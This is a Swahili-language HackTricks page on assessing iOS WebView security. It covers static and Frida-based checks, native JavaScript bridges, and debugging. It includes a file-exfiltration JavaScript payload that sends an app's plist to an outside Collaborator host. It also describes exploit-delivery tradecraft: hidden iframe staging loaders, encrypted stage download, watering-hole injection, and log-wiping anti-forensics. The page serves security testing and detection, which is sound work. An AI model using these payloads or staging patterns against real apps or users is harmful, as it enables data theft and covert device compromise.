iOS WebViews

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Msimbo wa ukurasa huu ulichukuliwa kutoka here. Angalia ukurasa kwa maelezo zaidi.

WebViews types

WebViews zinatumiwa ndani ya programu kuonyesha maudhui ya wavuti kwa njia ya mwingiliano. Aina mbalimbali za WebViews zinatoa uwezo tofauti na vipengele vya usalama kwa programu za iOS. Hapa kuna muhtasari mfupi:

  • UIWebView, ambayo haipendekezwi tena tangu iOS 12 kwa sababu haijaunga mkono kuzima JavaScript, na hivyo kuifanya iwe nyeti kwa script injection na mashambulizi ya Cross-Site Scripting (XSS).

  • WKWebView ni chaguo linalopendekezwa kuingiza maudhui ya wavuti ndani ya apps, likitoa udhibiti ulioboreshwa wa maudhui na vipengele vya usalama. JavaScript imewezeshwa kwa default, lakini inaweza kuzimwa inapohitajika. Pia ina msaada wa kuzuia JavaScript kufungua madirisha moja kwa moja na kuhakikisha kwamba maudhui yote yanapakiwa kwa usalama. Zaidi ya hayo, usanifu wa WKWebView unapunguza hatari ya kuharibika kwa kumbukumbu kuathiri mchakato mkuu wa app.

  • SFSafariViewController hutoa uzoefu uliosanifishwa wa kuvinjari wavuti ndani ya apps, unaotambulika kwa muundo wake maalum ikijumuisha shamba la anwani la read-only, vitufe vya kushiriki na vya urambazaji, na kiungo cha moja kwa moja kufungua maudhui katika Safari. Tofauti na WKWebView, JavaScript haiwezi kuzimwa katika SFSafariViewController, ambayo pia hushiriki cookies na data na Safari, ikidumisha faragha ya mtumiaji kutoka kwa app. Inapaswa kuonyeshwa kwa msisitizo kulingana na miongozo ya App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Muhtasari wa Uchunguzi wa Mipangilio ya WebViews

Muhtasari wa Uchambuzi wa Static

Katika mchakato wa kuchunguza mipangilio ya WebViews, aina mbili kuu zinazingatiwa: UIWebView na WKWebView. Kwa kubaini WebViews hizi ndani ya binary, amri zinatumiwa, zikitafuta marejeleo ya madarasa maalum na mbinu za uanzishaji.

  • Utambuzi wa UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Amri hii husaidia kutambua matukio ya UIWebView kwa kutafuta misururu ya maandishi zinazohusiana nayo kwenye binary.

  • Utambuzi wa WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Kwa namna ile ile, kwa WKWebView, amri hii inatafuta ndani ya binary mifano ya maandishi yanayoashiria matumizi yake.

Zaidi ya hayo, ili kubaini jinsi WKWebView inavyoanzishwa, amri ifuatayo inatekelezwa, ikilenga saini ya method inayohusiana na uanzishaji wake:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Uthibitisho wa Mipangilio ya JavaScript

Kwa WKWebView, imesisitizwa kwamba kuzima JavaScript ni desturi bora isipokuwa inahitajika. Binary iliyokusanywa inatafutwa ili kuthibitisha kuwa mali ya javaScriptEnabled imewekwa kuwa false, kuhakikisha kuwa JavaScript imezimwa:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Uthibitisho wa Yaliyomo Salama Pekee

WKWebView inatoa uwezo wa kubaini matatizo ya mixed content, tofauti na UIWebView. Hii inakaguliwa kwa kutumia mali hasOnlySecureContent ili kuhakikisha rasilimali zote za ukurasa zinapakiwa kupitia muunganisho salama. Utafutaji kwenye compiled binary unafanywa kama ifuatavyo:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Maarifa ya Uchambuzi wa Dinamiki

Uchambuzi wa dinamiki unahusisha kuchunguza heap kwa ajili ya mifano ya WebView na mali zao. Script iitwayo webviews_inspector.js inatumiwa kwa kusudi hili, ikilenga mifano ya UIWebView, WKWebView, na SFSafariViewController. Inarekodi taarifa kuhusu mifano zilizopatikana, ikijumuisha URLs na mipangilio inayohusiana na JavaScript na maudhui salama.

Ukaguzi wa heap unaweza kufanywa kutumia ObjC.choose() kutambua mifano ya WebView na kuangalia mali javaScriptEnabled na hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Skripti inatekelezwa kwa:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Matokeo Muhimu:

  • Mifano ya WebViews imepatikana na kukaguliwa kwa mafanikio.
  • Uwezeshaji wa JavaScript na mipangilio salama ya maudhui imethibitishwa.

Muhtasari huu unajumuisha hatua muhimu na amri zinazohusika katika kuchambua usanidi wa WebView kwa mbinu za static na dynamic, ukizingatia vipengele vya usalama kama uwezeshaji wa JavaScript na utambuzi wa mixed content.

Utunzaji wa Protokoli za WebView

Ushughulikiaji wa maudhui katika WebViews ni jambo muhimu, hasa unaposhughulika na protokoli mbalimbali kama http(s)://, file://, na tel://. Protokoli hizi huruhusu kupakia maudhui ya mbali na ya ndani ndani ya app. Inasisitizwa kwamba unapopakua maudhui ya ndani, tahadhari zinapaswa kuchukuliwa ili kuzuia watumiaji kuathiri jina la faili au njia yake na kuzuia kuhariri maudhui yenyewe.

WebViews zinatoa mbinu tofauti za kupakia maudhui. Kwa UIWebView, ambayo sasa imekataliwa (deprecated), mbinu kama loadHTMLString:baseURL: na loadData:MIMEType:textEncodingName:baseURL: zinatumika. WKWebView, kwa upande mwingine, inatumia loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, na loadRequest: kwa maudhui ya wavu. Mbinu kama pathForResource:ofType:, URLForResource:withExtension:, na init(contentsOf:encoding:) kawaida hutumika kwa kupakia faili za ndani. Mbinu loadFileURL:allowingReadAccessToURL: inajulikana hasa kwa uwezo wake wa kupakia URL maalum au katalogi ndani ya WebView, jambo ambalo linaweza kufichua data nyeti ikiwa katalogi imetajwa.

Ili kupata mbinu hizi katika chanzo cha code au binary iliyokusanywa, amri kama zifuatazo zinaweza kutumika:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Kuhusu file access, UIWebView inaruhusu kwa ujumla, wakati WKWebView inatambulisha mipangilio allowFileAccessFromFileURLs na allowUniversalAccessFromFileURLs kwa kusimamia ufikiaji kutoka URL za faili, zote zakiwa false kwa chaguo-msingi.

Mfano wa Frida script umeonyeshwa kuchunguza usanidi wa WKWebView kwa ajili ya mipangilio ya usalama:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Hatimaye, mfano wa payload ya JavaScript uliolengwa ku-exfiltrate local files unaonyesha hatari ya usalama inayoweza kutokea kutokana na WebViews zilizopangwa vibaya. Payload hii inabadilisha yaliyomo ya faili kuwa muundo wa hex kabla ya kuyatuma kwa seva, ikionyesha umuhimu wa hatua kali za usalama katika utekelezaji wa WebView.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Native Methods Exposed Through WebViews

Kuelewa WebView Native Interfaces kwenye iOS

Tangu iOS 7, Apple ilitoa APIs kwa ajili ya mawasiliano kati ya JavaScript katika WebView na native vitu vya Swift au Objective-C. Muunganiko huu unafanywa hasa kupitia mbinu mbili:

  • JSContext: Kazi ya JavaScript huundwa kwa automatiki wakati block ya Swift au Objective-C imefunganishwa na kitambulisho ndani ya JSContext. Hii inaruhusu muunganisho laini na mawasiliano kati ya JavaScript na native code.
  • JSExport Protocol: Kwa kurithi protocol ya JSExport, native properties, instance methods, na class methods zinaweza kufichuliwa kwa JavaScript. Hii ina maana kwamba mabadiliko yoyote yanayofanywa katika mazingira ya JavaScript yanalinganishwa na mazingira ya native, na kinyume pia. Hata hivyo, ni muhimu kuhakikisha kuwa data nyeti haifichuki kwa bahati mbaya kupitia njia hii.

Kufikia JSContext katika Objective-C

Katika Objective-C, JSContext ya UIWebView inaweza kupatikana kwa mstari wa code ufuatao:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Mawasiliano na WKWebView

Kwa WKWebView, upatikanaji wa moja kwa moja wa JSContext haupatikani. Badala yake, kutumwa kwa ujumbe kunatumika kupitia kazi ya postMessage, ikiruhusu mawasiliano kutoka JavaScript kwenda native. Handlers kwa ujumbe haya zimewekwa kama ifuatavyo, zikiruhusu JavaScript kuingiliana na native application kwa usalama:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Mwingiliano na Upimaji

JavaScript inaweza kuingiliana na tabaka la native kwa kufafanua script message handler. Hii inaruhusu shughuli kama vile kuita native functions kutoka kwenye ukurasa wa wavuti:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Ili kunasa na kubadilisha matokeo ya native function call, mtu anaweza override callback function ndani ya HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Sehemu ya native hushughulikia wito wa JavaScript kama inavyoonyeshwa katika darasa JavaScriptBridgeMessageHandler, ambapo matokeo ya operesheni kama kuzidisha nambari yanasindikwa na kutumwa tena kwa JavaScript kwa ajili ya kuonyesha au kushughulikiwa zaidi:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Mifumo ifuatayo imeonekana katika minyororo halisi za iOS Safari/WebKit exploit delivery na ni muhimu kwa uchambuzi, utambuzi, na emulation iliyodhibitiwa.

Multi-stage loader via hidden iframes

Mtindo wa kawaida wa staging ni kuweka gate kwenye utekelezaji ili kuepuka reinfection au uchambuzi, kisha inject iframe iliyofichwa/ nje ya skrini kwa stage inayofuata:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Ukurasa wa staging mdogo unaweza kuingiza loader kuu kupitia document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Ngazi za Loader mara nyingi huvuta JavaScript inayofuata kwa wakati huo huo:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Hatua za baadaye zinaweza kutekelezwa katika muktadha unaofanana na worker kwa kujenga Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Kulazimisha Safari kugusa uso wa WebKit/JSC

Ikiwa mhanga ataifungua mtego katika browser nyingine, protocol handler anaweza kulazimisha Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Kupakua hatua iliyofichwa (ECDH + AES)

Baadhi ya loaders hu-encrypt exploit stages wakati wa kusafirishwa. Mtiririko mdogo wa client ni: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Tovuti zilizoharibiwa zinaweza kupakia remote script inayojenga iframe nje ya skrini na kuiweka ndani ya sandbox huku ikiruhusu script execution:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Post-exploitation anti-forensics indicators (JS implants)

  • Uandaaji wa muda chini ya /tmp/<uuid>.<digits>/ na folda ndogo kama STORAGE, DATA, na TMP.
  • Ufutaji wa crash logs katika /var/mobile/Library/Logs/CrashReporter/ (mara nyingi kusafishwa kwa substrings za WebKit/SpringBoard).
  • Ufutaji wa kurudiwa (recursive) wa /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Kudebugi iOS WebViews

(Tutorial inategemea ile kutoka https://blog.vuplex.com/debugging-webviews)

Ili kudebugi kwa ufanisi maudhui ya web ndani ya iOS webviews, inahitajika usanidi maalum unaojumuisha developer tools za Safari kwa sababu ujumbe unaotumwa kwa console.log() hauonyeshiwi katika Xcode logs. Hapa kuna mwongozo uliorahisishwa, ukisisitiza hatua na mahitaji muhimu:

  • Preparation on iOS Device: Safari Web Inspector inapaswa kuwezeshwa kwenye kifaa chako cha iOS. Fanya hivyo kwa kwenda Settings > Safari > Advanced, kisha kuwezesha the Web Inspector.

  • Preparation on macOS Device: Kwenye mashine yako ya maendeleo ya macOS, lazima uanze developer tools ndani ya Safari. Anzisha Safari, nenda Safari > Preferences > Advanced, na chagua chaguo la Show Develop menu.

  • Connection and Debugging: Baada ya kuunganisha kifaa chako cha iOS kwenye kompyuta yako ya macOS na kuanzisha application yako, tumia Safari kwenye kompyuta ya macOS kuchagua webview unayotaka kudebugi. Nenda kwenye Develop kwenye menu bar ya Safari, elekeza mshale juu ya jina la kifaa chako cha iOS ili kuona orodha ya webview instances, kisha chagua ile unayotaka kuchunguza. Dirisha jipya la Safari Web Inspector litaonekana kwa madhumuni haya.

Hata hivyo, zingatia vikwazo vifuatavyo:

  • Kudebugi kwa njia hii kunahitaji kifaa cha macOS kwa sababu inategemea Safari.
  • Webviews tu katika applications zilizo wekwa kwenye kifaa chako kupitia Xcode ndizo zinaweza kudebugiwa. Webviews katika apps zilizosakinishwa kupitia App Store au Apple Configurator haiwezi kudebugiwa kwa njia hii.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks